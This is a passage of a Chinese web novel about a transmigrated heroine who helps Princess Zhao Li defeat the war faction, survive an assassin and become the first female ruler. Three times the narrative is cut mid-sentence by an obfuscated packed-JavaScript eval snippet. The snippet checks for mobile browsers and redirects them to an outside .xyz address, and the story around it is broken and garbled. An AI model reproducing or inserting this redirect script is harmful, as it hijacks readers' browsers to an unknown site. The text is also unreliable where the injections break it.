“若要显太子之庸,何不让他亲自出征?他一败涂地,天下自知,谁才是大昭真正的领导者。” 昭离面露忧色:“可我们也不能牺牲西陲的无辜百姓,只为了证明太子是个草包!” “这个你放心,仗嘛,有很多种打法。” 姜婋挑眉一笑:“这次不会牺牲任何人,只会让主战派的人吃点苦罢了……” * 果不其然,朝堂之上主战派大肆鼓吹,太子意气风发,必将收复回夏! 虽然之前顾云铮也有这个想法,但打仗不是儿戏,也要计划布局,不能纸上谈兵想打就打。 他本欲反对,但妹妹特意嘱咐,为了昭离公主,请他务必促成此事。 顾云铮一直身在局外,可眼下就算再不清醒也看出来了,如今朝局分成两派,他当然义不容辞支持昭离公主。 他沉声道:“战,虽非上策,但若太子殿下欲试,也并无不可。” 得到西陲大将的认定,主战派就开始奋力游说皇上。 自长生之梦幻灭,赵柟便对一切都漠不关心。且他向来不重边疆事务,只觉得依兹既灭,其余诸国皆不足惧。 如今朝堂喧哗,他也自知太子难以服众,便想借此敷衍风波,顺势批了兵符,却又不许太子亲自上阵,只令他随军督战,将一切交由顾云铮等人调遣。 于是,昭国朝堂上,一群不知兵、不知边、不知战为何物的文臣们,就这样草草拟定了“讨伐回夏”的计划。无人问民意,无人察敌情,竟像儿戏一般,一拍脑门,大军便整装待发了。 就这样,一支浩浩荡荡的草台班子,带着一张圣旨和一腔妄想,踏上西陲之路。 57.32 朝华宫中,蝉声如织,转眼已是仲夏时节。 浓荫之下,昭离正蹲在花圃前拨土,似在细心栽种什么。 不远处,姜婋快步走来道:“我刚从驿站收到了信!” 昭离与她对视片刻,便心领神会。她起身掸掸衣裙,遣退宫人,带着姜婋一同入殿。 殿内大门一关,隔绝了外头的蝉噪与暑气。 昭离忙问道:“是你姊师来信了?” 姜婋点头,将信展开,只见信纸上的文字弯钩连缀、横竖交错。 “这是回夏军中的加密文。”姜婋解释道,“我之前和姊师学过。” 昭离从案几上取过一方帕子,抹去指尖泥痕,抬眸问道:“她怎么说?” 姜婋扫过信文,边看边笑道:“我姊师说,巫珠当然不愿意打仗,但回夏也有主战之声。她看了我写的法子,觉得可以一试。只是——” 她顿了顿,神情古怪地补上一句:“要浪费不少女贞花了。” 昭离憋着笑,抬手指向方才打理的植物:“你看,上次姊师寄来的种子终于发芽了。如今昭国,也有自己的女贞花了。” 她们一起望去,窗外阳光正好。 那女贞花新叶抽芽,花蕾微吐,仿若在积蓄力量,只待时机成熟,便会惊艳绽放。 * 而千里之外的西陲,一场大战即将打响。 漫天黄沙中,两军对峙,旌旗猎猎。 将士们披坚执锐,面色肃穆,空气中弥漫着杀气。 双方主将一声令下,大战一触即发! 士兵们举刀跃马冲锋,才刚碰面,便纷纷丢下兵刃,一个个捂着肚子,脸色煞白,神情狰狞。 有人跌坐在地,有人拔足狂奔,不少人甚至来不及脱甲,便忍不住就地解决。还有战马在惊慌中失控,直奔自家阵地,把尾巴一翘,喷了一脸屎尿在自家将军脸上。 原本应该是刀光剑影的战场,如今却是屎尿横流,哀嚎四起。 太子坐镇中军,见状忙厉声喝问:“这是怎么回事?将士们为何丢盔弃甲,全无斗志?” 他转身正要责骂主将,却见那人早已面如死灰,冷汗涔涔。 这位主将当然不是顾云铮了,好大喜功的太子陛下,早已把主帅换成了更会趋炎附势的另一名将领。 这名主将平时能说会道,但此刻却连话都说不出来,便一头从马背上栽下,直跌进一滩屎水里。 一场男人与马的战争,变成了男人与屎的战争。 * 男人们终于明白,刀剑固然凶险,但脆弱的肠胃更是不容小觑。 这场气势恢宏的伐夏大战,眨眼间便成了一场屎尿屁的闹剧,好在无一伤亡,只是众将士的菊花元气大伤。 * 数日后,战报传回兴都,满朝骇然。 两国史官苦思良久,不知该如何记载这场前所未有的“屎尿屁之战”。最终,他们达成共识—— “敌我阵前,忽然风云突变,乾坤变色,天降毒气,将士中毒,无力再战……” 而那所谓的“天降毒气”,不过是军中厨娘们,在饭食里偷偷加了女贞花的花蕊。 还记得吗? 此花蕊药性本温,少量可健胃,多食则腹泻不止。 * 在大昭朝堂之上,仍有主战之臣不断叫嚣。 于是昭离公主便请旨,让所有主战的大臣,全部前往西陲支援太子,去感受那场屎尿屁留下的遗风。 此言一出,满堂噤声。 倒是还有一位颇具“男子气概”的老臣,自诩男儿血性,不畏“天降毒气”,扬言不灭回夏,死不瞑目。 昭离便遂其意,请了一道圣旨,将他送往西陲。 结果此老亲自感受战场的屎山尿河后,三日三夜未进食,归来后再也不曾言战一字。 * 这场伐夏之战,闹剧开场,却悲剧收尾。 将士们菊花残损,虽无一人战死,却个个身心俱疲。 而这场战争的发起者——太子,因舟车劳顿之下,旧疾复发。 他本就身有残疾,体弱力衰,宛如皇室里的娇花,哪经历得了西陲的风沙?返程路上,人马昼夜赶路,太子拖着病体回到兴都之后,便一命呜呼。 太子一死,大昭再无皇子。 皇帝赵柟接连丧子,哀痛欲绝,自此卧床不起。 媚皇后暂摄朝政,可自赵祐薨逝后,她自知大势已去,早就心灰意冷。 * 这日深夜,冷月高悬,寒风穿堂而过,似有杀气潜藏其中。 朝华宫中,灯火已灭,昭离方才入睡,这静谧宫闱中悄然闯入了一位不速之客。 那黑影一闪,他自屋顶跃下,穿过层层回廊,如幽灵般避开守卫与宫人,直奔昭离寝殿而去。 他站在床前,抽出佩剑,目光与剑光凛然一闪,毫不犹豫地刺了下去! 可剑尖入被,却无血迹。 黑衣刺客尚未来得及反应,只觉后脊一凉,一杆银枪已抵在他命门。 姜婋的声音冷如冰霜:“你主子知道你这般不专业吗?杀人之前,不该先确认目标吗?” 黑衣刺客神色一变,猛地劈开棉被,却只见一具假人! 后方帷幔轻动,真正的昭离从暗处缓缓走出,冷冷道:“动手。” 姜婋得令,银枪如箭矢般直刺对方手腕!她又一个翻身,枪尾横扫,击中刺客脚腕,将刺客打得倒地不起。 一套动作潇洒利落,可她仿佛并未尽兴,抓起银枪直指刺客喉咙,质问道:“谁派你来的?前几日皇后宫中走水,是不是也是你们干的?” 刺客未应,眼神一狠,忽然牙关紧咬。 姜婋神色骤变:“不好!” 可已经来不及了,刺客咬醉齿间剧毒,顷刻气绝身亡。 姜婋立刻翻查其身,却无丝毫线索。 昭离望着地上尸体,叹了口气:“罢了,不查也知道,如今太子身亡,看来皇室宗亲中也有人蠢蠢欲动了。” 姜婋面色担忧:“昭离,这才刚刚开始,只怕日后你会更危险。” 昭离蹙眉:“所以要想个办法,让他们死了那条心。” 姜婋察觉她话中有意,凝声问道:“你,还是对那‘痴梦’有一丝执念?” 昭离抬眸望向夜色,“如今宗亲们也生出异心,我若要登基为帝,必然也要经历一番血雨腥风,我实在是不愿意造成杀戮……所以,我想试试,能否以和平的方式继承帝位。” 姜婋点头:“无论你做什么,我都支持你。” * 次日清晨,皇帝寝殿。 虽已是夏日,但殿内阴沉冷寂,令人彻骨生寒。 久病不起的老皇帝赵柟,已需要炭火取暖。先前因太子之死,他一夜白头,苍老了许多。 榻前,一双熟悉的手轻轻端起药碗,在他唇边送入一丝苦口良药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976377|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵柟微微睁眼,却陡然瞪大:“昭离?!你、你怎么在这?” 昭离替他拭去嘴角药渍:“父皇放心,我不会伤害您。我只是来请您下一道旨意。” 她从袖中取出一封金绫圣旨,缓缓展开,正是已拟好的立她为皇太女的诏书。 赵柟虚弱一笑:“你还要什么圣旨?如今朝中已无皇子,你想要什么,还需朕的同意?” 昭离声音平缓:“父皇曾说过,大昭开国以来无母君,更无皇太女。若我今日破了先例,大昭往后就能有无数个皇太女。” 她用眼神逼视着那张憔悴的面容:“如今您无皇子可托,无宗亲可信,我是您唯一且最稳妥的选择,不是吗?” 赵柟目光闪烁,呼吸急促。 昭离轻笑:“父皇,您不是说我是你最宠爱的女儿吗?那就让我见识下您所谓的宠爱,为我下一道圣旨吧。” 说着,她将诏书双手递上。 赵柟用尽力气,将那圣旨摔在地上,艰难开口道:“女子,怎配继承皇位!” 昭离反问:“父皇是觉得我不配?可若连您与太子这样的人,都能继位,为何我不可以?” 赵柟怔住,脸色剧变:“你——你说什么?” “我说,您才是最不配之人。” 昭离盯着他,冷声道:“父皇,你看似求仙问道,实际上是在掩盖,你根本不会治国理政的事实,对吗?” 赵柟神色惊恐,嘴唇哆嗦:“住、住口……” 看着他的表情,昭离明白自己猜对了。 她站起身道:“当年,若无母后家族力保,仅凭您的资质,恐怕根本无法登基。可你登基之后,转眼便将当初扶你上位的母后一族清洗殆尽。所谓‘听信谗言’,不过是你的借口罢了。因为这个世上,没人比母后更了解——你的软弱无能!” 屋内炭火噼啪作响,赵柟的呼吸逐渐急促,脸色越来越苍白。 昭离直言道:“你没有治国之才,只能利用虚妄仙道当幌子,让满朝文武揣摩你的意思行事,后来你便利用媚皇后。决策对了,便是圣上英明,裁断错了,就是旁人之过。你不敢承责,独享功劳,诸事推人,简直懦弱至极!” 赵柟全身剧烈颤抖,像是被戳穿了最后一层伪装。 昭离继续诛心:“父皇不肯立我为皇太女,其实是因为——您打心底里,很惧怕我吧?” 赵柟瞳孔猝然收缩,呼吸几近停滞。 “自从我杀死宰牙,灭了依兹,你就开始恐惧我。因为我做到了您一生都做不到的事。您害怕我一旦登基,世人便会明白,原来你如此无能!对不对?” “你——给朕闭嘴!” 赵柟猛然大吼,一时急火攻心,吐出鲜血。 昭离不动声色,取出玉玺,沾了他喷出的血为印泥,毫不犹豫地按下圣旨。 赵柟嘶吼着,声音破碎:“你、你即便成了皇太女,也绝无可能登基!文武百官,皇族宗亲,绝不会让你登上皇位!” 昭离收好圣旨,神色自若:“那就请父皇保重龙体,一定要亲眼见证我称帝的那一天!” 这一刻,她突然回忆起杀死宰牙之时,那股难以言喻的快意。 原来,杀死一个看似强大的敌人是这样的感受。 既熟悉,又令人沸腾。 昭离转身踏出殿门,步履轻快而坚定。 榻上的赵柟,眼珠颤抖地看向她远去的背影,直至殿中火盆的最后一熄炭火也燃尽了。 58.第 58 章 不久之后,一道圣旨传遍四海。 大昭自开国以来,有了第一位皇太女。 本以为此举会引起轩然大波,但百姓却意外接受。因为那场混乱的伐夏之战后,所有人都渴望一个能带来和平与秩序的领导者。 朝堂之上,太子派与公主派本就势均力敌。 现下太子身亡,许多朝臣顺势倒向昭离。而那些被宗亲收买之人,也不愿冒内乱风险,纷纷观望退避。 昭离开始以皇太女的身份处理朝政,推行一系列改革。 她削减不合理赋税,恢复民力;禁止缠足,废除三从四德,开启女学之制,允许女子入学、科考,为官;设置“稽查女使”,监督朝堂与宫廷,以女性视角平衡政务决策;开设更多女职官位,提升女子地位…… 当然,昭离的大胆举措,也引来不少朝臣异议。 * 就在反对的声音甚嚣尘上之时,在西北一座古矿之中,发现一座古墓。 随着封土层层剥开,墓门石刻赫然显现——“昭之元启,皇祚肇建”。 这竟是一座上古帝陵,陪葬丰厚,更有成列竹简。 这些竹简以漆封口,保存完好,经史官逐一辨识,发现所载竟是开国前后数十年的亲笔记述! 史官震惊之余,纷纷上奏朝廷,原来大昭真正的开国皇帝,竟是一位女子! 她于乱世中举旗抗敌,收复山河,建立昭国雏形。只可惜芳年早逝,其子承其遗志,方得一统天下。而后人避讳其性别,隐其事迹,仅将其子推为开国始祖,致使史书讹误千年。 这一古墓的发掘,如春雷乍响,改写了整个昭国的历史。 于是,“昭离为紫薇星,乃天命所归”的传言,成为昭然天理。 百姓逐渐接受女主治国,或许这位皇太女,正是这位开国英雌的转世投胎。 * 朝华宫中,女贞初绽,鸣蝉渐息。 正是夏末初秋,新旧交替的时节。 昭离倚案翻阅新送来的墓简,不禁感慨:“你做得太逼真了。” 姜婋坐在窗台边,一手剥着橘子,一手抛给她:“没想到我那点雕虫小技也能派上大用场。” 昭离接住橘瓣,淡淡一笑:“你觉得百姓会接受这个故事吗?” “自古以来,皇帝登基不都是靠故事撑起来的吗?” 姜婋掰着橘瓣举例道:“你看,秦始皇命人编纂《泰山刻石》,借封禅仪式宣扬他是‘天命所归’;汉高祖斩蛇起义,说自己是‘白帝子’;朱元璋更厉害了,利用‘鱼腹藏书’称自己‘受命于天’。谁信谁傻,可就是得这么来一套。” 她说着语调微沉:“至于大昭真正的开国者,究竟是女是男,还真不好说。毕竟自古以来,很多女子的功绩,都被男人篡走了。就说神话故事里,有多少女神被性转为男人,甚至还被强行配上‘夫君’。” “你看西王母,她虎齿豹尾,本是主掌生死的大神,可道教兴起后,一代野性神祇变为‘天宫女主’,甚至还被编成玉皇大帝的妻子;创世女娲,补天救世,却被硬凑了伏羲,搞出个什么‘兄妹夫妻’;太阳神原本是夸娥,后来变成夸父……这些女神不是被改名,就是被改性。如此女冠男戴,简直不计其数!” 她顿了顿:“再回到眼前,就说媚皇后,她帮皇帝治理朝政,可朝中功劳却不曾记在她名下;若有差错,便成了妖后误国……” 昭离静默片刻,似乎想说什么,却沉了口气,转言道。 “改写昭国开国历史这一招,估计是压死父皇的最后一根稻草,不出几日,他大概会宣布退位。我若登基,这‘皇帝’二字是不是也要改一改?回夏叫做‘巫珠’,我们昭国的母君,应唤作什么呢?” 姜婋吃着橘子道:“可以沿用母君,如果你想开天辟地,不妨再造一个新词……” 她目光一转,想到一个绝妙的称呼:“叫——阴帝,如何?” 昭离问道:“有何解释吗?” 姜婋放下橘子,认真道:“凡古人提及‘阴阳’,必先‘阴’而后‘阳’。这是因为,‘阴阳’二字乃是母权制时期语言的残存者。即阳自阴出,男人是女人生的。所以取‘阴’字,来彰显昭国将进入母权制。” 昭离点了点头。 “至于‘帝’这个字,甲骨文的上半部分,就是女阴崇拜的三角形。所以说,帝原本指的就是女子。黄帝,也是女性。再加之……” 姜婋心道:“阴/蒂乃是女子重要的生理器官之一,拥有8000个神经末梢呢,它不是为了生育而存在,而是为了女性的愉悦。这么厉害的阴/蒂,叫它的同音词也不错嘛!” 昭离见她不答,又问:“再加之什么?” 姜婋想了个简单直接的解释:“阴帝这个词,听起来就好!” 昭离莞尔:“这个词好是好,就是需得与众人解释,有没有更简单直接的,最好是本来就有这个词……” 二人思考起来,忽然对视,忽而异口同声——“公主!” 昭离道:“你之前问我,‘你想做公主吗?不是皇帝的女儿,太子的姐姐,某人的妻子……而是,天下公认之主。’不如就叫公主!” “妙极了!” 姜婋赞道:“这一招,乃是夺回语义再重构。昭离,你让一个父权制下被剥夺权力的词汇,挣脱了牢笼。从此以后,‘公主’不再是被驯化的皇权之女,而是天下众人之公器,亦是可为天下人发声的共识之主!” * 数月之后,皇帝赵柟病重垂危,终于传召百官,宣诏退位,昭离即位为帝。 然而登基前,昭离面前仍横亘着一道难题——那就是如何处置媚皇后? 有人主张封媚皇后为太后,稳住前朝和后宫;也有人悄然进言,皇权初立,最忌旧权余威,当削其尊号,迁居别苑。 昭离始终未下决断,还是唤来了姜婋一同商议。 她揉着眉心道:“如今朝中众说纷纭,我实在不知该如何处置媚皇后,所以想听听你的看法。” 姜婋知此事不容小觑,立刻暗中唤来系统:“你怎么看?” 系统:“玩家,本系统给你找过那么多古代女主的资料,难道你全忘了?” 姜婋脑中灵光一现,忽而想起,在这漫长的历史中,还真有一位治国女主遇见过和昭离类似的困境。 她便说道:“昭离,如何处置媚皇后,终归还要看你自己的意思。但我曾听过一个故事,也许可以讲给你听。” “什么故事?” “很久以前,有位太后垂帘听政,她权倾朝野,想推进国家改革,却遭到了守旧派的攻击。与她政见不同者固然不少,有人还杀了她最信任之人,她却从未报复。她甚至将其中一位政敌的儿子立为皇帝,还重用了那位王爷。那王爷感激涕零,将‘退思补过’四字作为座右铭,并且以敬畏之心辅佐太后。” 昭离自然听懂了,转言道:“可媚皇后不仅多次加害于我,还与张天师里应外合,操控朝局,实在是罪责难逃。” 姜婋分析道:“你也不妨深究下去,她为何要害你,是因为原本留给女人的权力就少之又少,她害怕你威胁到她仅有的那一点权力。再论,她又为何非要依仗张天师?不过是太上皇执迷玄术。若是太上皇如你这般英明果断,又何需张天师?” “你的意思我明白了。” 昭离又陷入沉思:“但此事关系重大,等我再想一想。” 姜婋看着眼前的昭离,相较和初次见面时成长了很多,俨然颇具母君风采,不觉欣慰一笑。 * 数日后,仁寿宫中,秋叶飘零,风声萧瑟,已不再似昔日那般繁华。 昭离遣散宫人,独自步入仁寿宫中。 殿门打开,一缕秋阳斜照而入,映在媚皇后的脸上,光影交错。 她额前那抹朱砂,早已因所取悦者的退位,而消失不见。 媚皇后眯起眼,见来人竟是昭离,不由得一笑:“原来是昭离公主……不,现在该称你为‘皇太女殿下’了吧?” 昭离道:“称谓而已,不必拘泥。” 媚皇后倚在榻上:“是啊,过几日你就要登基了,但昭国从未出现过女子称帝……还真是不习惯。” 昭离不动声色:“凡事总有第一次,习惯了,也就不稀奇了。我今日来,是为宣布关于你的处置。” 媚皇后打量着昭离,眼神中带着些许羡慕,还有可望而不可求的愤怒:“本宫千算万算,也未曾想到,会败在一个女人的手上。” 昭离反问:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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媚皇后说罢,坐回自己的榻上,一脸泰然处之。 昭离忽而问道:“你可知你最大的罪过为何?” “欺君之罪?” “不——” 昭离望着她道:“你最大的罪过,是没有好好照顾昭宜。” 闻言,媚皇后平静的脸上出现裂隙,这句话仿佛刺痛了她心中最柔软的地方。一时间,她情绪崩溃,泪水汩汩而出。 “你为了权力,把六皇子攥在手中,但你偏心赵祐,冷落昭宜。你明明饱尝男尊女卑之苦,但却不思改变,反而利用这陈旧的制度,轻慢自己的女儿。这,才是你最大的罪。” 媚皇后早已泪流不止,颤声凝噎:“昭宜受了多少委屈,我是她的亲生母亲,怎会不知?是我……亏欠她太多……” * 良久,昭离方才展开圣旨,朗声而诵:“媚皇后接旨。” 媚皇后拭去眼泪,缓缓跪下。 “制曰:太上皇归政退位,宜清静以养年。皇后眉氏,当随太上皇一同迁居别苑,幽居静修,以表垂范后宫。” 媚皇后早已知是这个结果,木然道:“臣妾,遵旨。” 昭离收起诏书,凝视她道:“眉书绾——” 媚皇后猛然一震,仰起泪眼:“你……唤我什么?” “眉书绾,接旨。” 昭离掷地有声道:“念你才识过人、经略有方,自即日起,眉书绾以“姊丞”之名,辅佐新政,监理朝章,不得有误。” “姊丞?”眉书绾怔怔重复。 “这是我亲设的新职,女官之首,权责并重,地位等同宰执。” 昭离朗声道:“你身为太上皇的皇后,理应随其幽居,但是你身为你自己——眉书绾,你这一身才华,若终老别苑,岂不可惜?大昭已废除对女子三从四德的枷锁,从今往后,你不再是谁的皇后,也不是祭酒之女,而是你自己,是大昭首位姊丞,是我最倚重的辅臣。” 眉书绾不敢相信:“你……你难道不怕我?” “害怕又如何?” 昭离正色道:“自古以来,为何太多明君后期昏溃,就是因为无所畏惧。帝王站在权力之巅,却无制衡监督,最终被权力所反噬异化。” 她上前一步,扶起眉书绾。 “所以,我需要你,辅佐我、监督我、警示我。身为一个领导者,就是应该害怕,时时保有对权力的敬畏之心。怎么样,眉书绾,你可愿助我?” 眉书绾望着她,泪中含笑,忽地深深一拜:“臣妾……臣,愿意。” 昭离展颜一笑。 自此以后,昭离得其左膀右臂,内政有眉书绾,边疆有姜婋。一文一武,如日月拱照。 59.34 昭离的登基仪式,选在了丰收之秋。 此时丹桂飘香,漫天红叶,寓意“天贶垂福,民和年丰”,象征着昭离承继大统,乃天命所归。 朝阳初升,钟鸣三响,金门缓缓开启。 昭离身披华衮,却未戴冕旒,只用一支鹿角簪束发于顶。她步履沉稳,缓缓走向丹陛。 她的身后并无仪仗,女官与男官分列两翼,肃然而立。 这次仪式,昭离特意下令开放宫门,请万民同观。 昭阳街前,金阙台之下,城中百姓纷至沓来,只为亲眼见证大昭第一位皇太女登基的时刻。 在万民的瞩目中,昭离每走一步,皆是踏破千年陈规,她每行一寸,都是完成无数女性未竟之愿。 她立于台阶之上,此刻,脑中忽然闪现出当年与姜婋初遇时,那一字一句大胆的预言: “世人之所以称某事为天方夜谭,并非因其荒诞无稽,而是因为它超出了固有的认知边界。” “公主,你能做到的事情远比你想象得多。就算是天方夜谭,也会有实现的那天!” “昭离公主,就是大昭未来的母君。” …… 那些天方夜谭,如今竟真的实现。 昭离展开圣旨,朗声宣告: “自今日始,大昭改国号为‘曌’。祈愿曌国日月当空,光辉永照。” “此身之名号,不谓皇,不称帝,唤曰——‘公主’。” “公为天下,主为共识。‘公主’者,乃受万民托付而起,为天下人立言者也。” * 眼看昭离已顺利成为公主,姜婋便做好了“功成身退”的准备。 毕竟在上一个副本中,她跟夏星澜的告别太过突然,连一句再见都没来得及说。这一次,她特意早早地写下了告别书信,安排好“后事”。 可登基数日过去,她却迟迟没有收到系统的通关提示。 她不解地呼叫系统:“昭离都当母君了,我难道还没通关成功?这不就是她的人生之路吗?” 系统:“玩家勿慌,恐怕是女主心中尚有大事未解。” “还有什么大事?” 就在姜婋抓头苦思之际,一封来自回夏的朝贺表章抵达曌国,乃是回夏巫珠托罗沙亲笔祝贺昭离登基,并提醒她履行先前的承诺。 姜婋这才恍然大悟,原来是还有前缘未了。 如今曌国与回夏两国交好,开放贸易,各取所需,自然各有裨益。毕竟回夏有宝马良驹、药材香料,而曌国有丝织茶叶、青瓷书画。 因西陲商路开启,顾云铮需得返回镇守边疆。 临行前,他原本欲带走姜婋,却被昭离以辅佐新政为由拒绝。 小侯爷赵湛倒是主动请命,央求顾云铮带他去边关历练,于是二人携手返回西陲。 姜婋望着他们离去的队伍,想起初读这本小说时,女主为男主拔剑自刎,正是这段情节把她气死! 如今,“前男主”与“前官配”皆已谢幕,女主的命运轨迹彻底改写。 她忍不住爽朗大笑:“真是解气!” * 随着西陲边贸畅通,朝中政令频繁,姜婋向昭离建议引入——标点符号。 此前曌国文书断句全靠揣摩,极易发生误解。若加以符号定制,不但便于学习,也利于政令清晰传播。 昭离大加赞赏,便颁旨采纳,此后曌国典籍奏章皆纳标点,统一文字规范,称为“文律新制”。 随着母君登基,诸国纷纷进献奇珍异宝、侍卫美男无数。昭离也并未表露喜好,将其尽数收入后宫,不置可否。 * 这日,昭离正在宫中批阅奏折。 眉书绾入宫觐见,却神情闪烁,言辞吞吐。 昭离察觉异常,便道:“姊丞与我之间,无需遮掩,有话直说。” 眉书绾遂进言道:“我听闻周边方国所献的男宠已满后宫,虽是虚设,但臣难免忧心。听闻回夏巫珠也是男宠无数,臣……担心公主行效仿之风……” 昭离放下奏折,挑眉未语。 眉书绾继续谏言:“自古男尊女卑,如今圣上有才,登上至尊之位。但女为阴,男为阳,若男宠过盛,恐阳胜阴微,伤害国运。曌国若欲万万年长治久安,需得男子益削,女子益专。此乃臣之所忧,亦是对圣上之忠。” 昭离点头:“我明白你的意思。姊丞且放心,我无心情爱,眼下只想让曌国恢复生机。” 眉书绾忙道:“臣并非要公主摒弃情爱,若有合意之人,亦可携手共度。毕竟,您也当考虑子嗣之事。” 昭离望向窗外,轻声道:“未来的公主,也不一定非要是我的孩子……” 眉书绾一怔:“公主此言何意?” “如今女子可入学、参政、从军,皇位应由能者胜之。我瞧着昭宜,便极有潜质。” 眉书绾闻言,脸色骤变:“这……若传出去,恐引天下哗然!” “世人哗然之事,多了便也习惯了。” 昭离淡淡一笑:“昭宜是曌国的未来,我们可要好好培养她。” 眉书绾劝慰道:“公主心系国事,也不必事事舍弃。若能在帝业之外,与心爱之人相依相伴,亦是人生幸事。” 昭离低眉不语,转而望向殿门之外,眉眼间竟隐隐带了些期待。 眉书绾见她久久不语,也随着她的目光望去。 只见殿门处,一抹熟悉的身影快步而来,正是姜婋。 她走进来,拱手道:“公主,回夏巫珠又有来表。” 昭离问道:“所为何事?” “巫珠愿以最上等马种与兵器技术,换取我曌国的丝织之术。” 眉书绾分析道:“这倒是各取所需。曌国新立,边陲不稳,若得回夏相助,当然大有裨益。但此事关乎国技传授,如何教、教至何处,皆须分寸拿捏。更需遣一位精通内政外交、识得彼邦风土之人,方能处置妥当。” 昭离轻轻点头,眉头却微微蹙起。 姜婋思忖道:“此事,不如我亲自前往。西陲我再熟不过,与回夏巫珠亦是旧识。养蚕织锦之术,我可一路随行习得,届时再与织女、蚕娘商量着,择机教授。公主,你说可好?” 昭离闻言,却久久不语。 * 夜已深,朝华宫中仍灯火如昼。 昭离着一袭素白寝衣,倚案批阅,案头正放着回夏巫珠新至的奏表。她眉心紧蹙,分明已有倦意,却仍未合眼休息。 一旁的姜婋见此情形,忍不住道:“你这是舍不得我走吗?” 昭离放下笔:“那是自然。” 姜婋歪头支颐:“可公主,你也知道,此行非我不可。” 昭离斜睨她一眼,佯作嗔怒:“你我之间就别叫公主了。” “哎呀——” 姜婋撒娇:“昭离,你就让我去吧!” 昭离抬手轻揉眉心:“先不说这个,我头好疼,你来帮我篦头吧。” 姜婋走到她身后,取下她发间的鹿角簪,如绸缎般的青丝倾泻而下。她执起梳子,缓缓梳理。 宫灯下,铜镜中,两个身影相映成双。 昭离目光落在镜中的姜婋,轻声道:“还记得我们第一次见面之时……” 姜婋接口而出:“你刺了我一钗。” “你还记着呢?” “此等深仇大恨,当然要记一辈子啦!” 昭离揶揄一笑:“那时我从未想过,有朝一日我会成为母君。但你却一直相信我,甚至比我自己还要笃定……也正是你的这份确信,才让我一步一步,走到了今日……” 姜婋心底明白,昭离舍不得自己离开,不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昭离凝望那地图,眸光渐远:“但丹州风沙渡的集市,有我吃过最好吃的烤羊腿。” “那儿的风大不大?” “大呀。”昭离笑了笑,“但也很美。” 昭宜眼中泛起向往:“有多美呀?” “嗯……” 昭离回忆着,望向黄昏的晚霞,语气轻缓,仿佛在对一个更遥远的人诉说—— “那也是一个黄昏……” 她神色向往,眼前仿佛已浮现出那日的画面。 天幕之下,丹霞赤壁如火,霞光如镜,她与姜婋纵马并驱,奔向世间奇景。 这一刻,耳边宛如又回荡起那时姜婋的笑语: “小时候我体弱多病,曾遇见一个癞头和尚和跛足道人,他们给我算了一命……说我会在西陲遇见我的‘命定之人’。” “我也曾疑惑,便问那二人,是不是骑着白马的王子?谁知他们却说,是凤冠霞披的公主。” “那和尚和道人还说,我此生将助命定之人灭西戎,杀敌寇,除奸佞,掌王权,开拓太平盛世……” * 昭离缓缓闭上眼,似在追忆。 “我此生曾见过最美的奇景,就是在那里。一双人,一双马,追逐晚霞入幽谷,惊见霞光割昏晓,山石犹厌烧。那一幕美得人惊心动魄,可最令人难忘的还是……” “是什么呀?” “是我与三月的风沙,一同迷失在那人如墨的玉眸之中……” 昭宜歪了歪头:“皇姐,你怎么哭了?” 昭离展颜轻笑,泪光却浮上眼角:“因为,太美了。” 话音未落,一阵秋风吹过,落下一片红叶,悄然盖在地图的一角。 60.35 只见地图上的那处,渐渐转为实景。 千里之外,西陲黄昏之中,一支队伍在风沙中艰难行进。 为首骑马之人正是姜婋,她身着轻甲,目光锐利地盯着前方。 忽然,地平线乍起一缕黑云。 “糟了……”姜婋心道,“那是沙暴的前兆。” 侍卫们大喊:“沙暴来了!”整个队伍顿时慌乱。 话音未落,大风卷起黄沙,犹如千万箭雨齐射而来。 姜婋眼眯成一线,在脑中盘问系统:“这是什么情况?” 可系统并不作答,耳边只有咆哮的风声和马匹的嘶鸣。 姜婋高声下令:“放弃重载马车,保护蚕种!所有人往避风洼地撤!” 她带人稳住蚕种,用身躯挡在风前,压住覆布,护着摇摇欲坠的木架。 突然,传来一声惨叫。 有蚕娘被风卷入沙丘之中,她挣扎呼救,却越陷越深。 姜婋奋不顾身跃下马背,冲进沙中抓住那人的手,试图将人拖出。 身后有人高喊:“顾主使,快回来,太危险了!” 任凭身边人如何呼喊,姜婋仍咬牙不退,终于将蚕娘拉出。 就在这时,装载蚕种的车架突然被风吹倒,眼看蚕种就要滚入沙坑之中,姜婋猛扑上前,一手将蚕盒托起,奋力朝远处抛去! 与此同时,沙浪如海潮般将她整个人吞噬。 她闭眼前的最后一个画面,是蚕盒稳稳落入随行使者的怀中…… * 下一刻,剧烈的震颤消散,一切归于寂静。 黑暗之中,她再次睁眼,四面是熟悉的360度环形屏幕。 “告别,怎么总是这么突然……” 姜婋苦笑,低头掸去身上的沙子:“没想到我在故事里也会死,还记得我初入这个副本,也是在漫天黄沙之中,这倒也算有始有终……” 她叹了口气问:“系统,我这是通关了吗?” 系统的声音幽幽响起:“还没有。” “啊?” 姜婋诧异,“为什么?女主昭离都成为母君了,我难道还没有闯关成功?” “因为最后一关还未通过……” 这时,环形屏幕中浮现出昭离的影像,正是数日之后,她得知了姜婋遭遇沙暴去世的噩耗。 画面里,昭离深夜独坐寝殿,手中信笺沾着泪痕,面容憔悴不已。 忽然,她拔下墙上的宝剑,孤身走上了城楼。 姜婋心中警铃大作:“糟了,难道这就是原小说的结尾,女主昭离要为顾将军殉情的情节吗?!” 